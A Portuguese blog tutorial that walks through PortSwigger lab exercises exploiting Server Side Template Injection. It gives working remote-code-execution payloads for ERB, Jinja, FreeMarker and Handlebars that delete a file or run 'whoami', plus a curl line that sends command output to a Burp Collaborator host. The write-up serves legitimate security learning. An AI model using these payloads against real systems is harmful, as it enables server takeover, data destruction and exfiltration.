Olá. Bem vindos ao meu primeiro artigo na HardDisk! A vulnerabilidade web que será abordada neste artigo é, tal como explícito no título, Server Side Template Injection (SSTI), falha amplamente conhecida, mas tão pouco explorada. A vulnerabilidade é, por grosso modo, uma junção entre XSS e RCE. XSS por se tratar de uma falha no template do servidor web, onde executará como server-side, e RCE por se tratar de uma execução de comandos no serviço.
Ressaltemos aqui que os ambientes explorados são controlados e feitos para tal vulnerabilidade. Você pode praticar aqui: Labortórios da PortSwigger.
Server-side Template Injection simples.
Primeiramente, para que treinemos de maneira eficaz, vamos começar com o SSTI básico. Vejamos a seguir:
Explicando as requests: ao entrarmos em determinada área do site, ele puxa um parâmetro GET (encontrado na URL), onde o mesmo retorna o que foi dito na template no site “Unfortunately this product is out of stock”. Como o SSTI se trata de um exemplo simples, utilizaremos um payload simples.
Como visto no exemplo acima, utilizamos o seguinte payload:
<%=+3*3+%>
Note que o payload possui sinais positivos “+” porque, ao tentarmos com espaços (<%= 3*3 %>), o site retorna um erro. Com isso, em aplicações web, podemos substituir os espaços com o sinal de + ou com o espaço criptografado com URL Encode (iremos ver isso mais para frente). Já que conseguimos realizar o SSTI, faremos agora o que o laboratório está pedindo: apagar o arquivo “morale.txt” do usuário Carlos. E vamos nessa:
<%=+system("rm+/home/carlos/morale.txt")+%>
Note que o “system” do payload seria para executar comandos do sistema na aplicação web, e entre os parênteses e aspas, o próprio comando a ser executado.
SSTI em Code Context.
Analisando as requests: ao clicarmos em “Submit” para setarmos o nosso usuário, ele puxa uma requisição POST e, no corpo das requisições, um parâmetro chamado “blog-post-author-display=user.name”. Primeiramente, como todo clássico SSTI, vamos buscar multiplicar dois números. Se liga:
blog-post-author-display=user.name}}{{3*3}}
Explicando a bagunça: injetamos o payload de multiplicação dentro da perfomace " }}{{COMANDO}} “, típicos de payload em Code Context. Agora, vamos executar comandos shell com base no que descobrimos. Vejamos:
blog-post-author-display=user.name}}{{system("rm+/home/carlos/morale.txt")}}
É, deu merda. Ao analisarmos a resposta do erro, ele retorna como um erro no Python. Com isso, iremos realizar o SSTI Code Context, agora fazendo juz ao nome, já que iremos criar um payload “codado” em Python. Vejamos:
blog-post-author-display=user.name}}{%+import+os+%}{{os.system('rm+/home/carlos/morale.txt')}}
Ao atualizarmos a página, retornamos como laboratório completo.
SSTI utilizando a documentação.
Partindo agora para o nosso terceiro exemplo, iremos utilizar a documentação do template do site para que a gente consiga explorar a vulnerabilidade. O payload que você irá utilizar será com base no erro da template do site. Para isso, utilizei o site HackTricks. Nele, há vários payloads para os diferentes templates do site. Olha aí:
Ao procurarmos o payload que gere o erro na template do site e jogarmos no campo, recebemos isso como resposta:
<a th:href="@{__${path}__}" th:title="${title}">
OBS: O payload utilizado acima pode servir para qualquer parâmetro vulnerável a SSTI, como GET. Sim, você pode causar um erro na documentação do site jogando o payload acima na URL, desde a mesma seja vulnerável a SSTI.
Se você analisou bem a imagem acima, viu o destaque que está na resposta de erro: “Freemaker”. O Freemaker é um motor de templates para servidor web. Vimos que o site está rodando Freemaker com base no erro de sua documentação. Entrando no site da HackTricks, pegamos o payload que utilizaremos e injetemos no site:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
SSTI utilizando linguagem desconhecida e documentação.
Bom, primeiramente você deve estar se perguntando: “como assim uma linguagem desconhecida?”. Sim, é literalmente uma linguagem desconhecida (você utilizará ela com base na documentação do site) feita justamente para explorar Server Side Template Injection. Bom, partindo para a prática:
Analisando a imagem acima, ao clicarmos em “View details”, o serviço web puxa um parâmetro GET (na url) com uma frase de erro, onde a mesma é refletida na index do site. Feito isso, precisaremos de um payload para causar um erro na template, e com isso, descobrirmos qual o site está usando. Vejamos a seguir:
Vemos que o site está utilizando o “Handlebars” para a template. Pesquisando mais afundo na internet, descobrimos que o Handlebars tem um payload de SSTI, conforme visto a seguir:
wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Porém, o payload é extenso demais para utilizarmos na URL. Com isso, iremos criptografá-la com URL Encode no BurpSuite. Se liga:
Feito isso, injetamos o payload criptografado na URL e o site, por se tratar de SSTI ser uma falha server-side, irá executar o comando. :)
Bind SSTI com Out Of Band Exfiltration.
Agora com um módulo mais avançado, iremos fazer um Server Side Template Injection com Out Of Band Exfiltration. Mas primeiramente, o que é Out Of Band? OOB significa dados fora de bandas sendo trafegados independentes (como algo sem rumo). Para isso, precisamos do BurpSuite Pro, onde o mesmo possui um módulo focado em Out Of Band.
Clicando em “Burp”, e logo em seguida em “Burp Collaborator Client”, iremos abrir uma janela. Essa janela disponibilizará um subdomínio do BurpSuite, onde o mesmo tem como objetivo capturar todas as requests que nele forem recebidas. Com isso, iremos adicionar no payload a URL do Burp Collaborator Client. Vejamos a seguir:
Ao analisarmos a URL, o mesmo puxa um parâmetro GET que é refletido na index do site. Para isso, iremos utilizar o clássico payload:
<%= system("comando") %>
Com isso, para que realizemos o OOB exfiltration, iremos utilizar o comando “curl” para enviar requisições pro subdomínio do Burp Collaborator e um payload entre crazes para a execução de comandos. No final, ficará assim:
<%= system("curl http://`whoami`vsro5ges2to50fpn7sje8ye0brhi57.burpcollaborator.net") %>
Explicando o payload: o curl
irá enviar uma requisição para o site que captura todas as requisições, e o whoami
para capturar o RCE do resultado do comando. Com isso, iremos receber essa brincadeira aqui:
Curtiu? Veja meu github
Valeu, falou e fui !!!
Autor do post: march0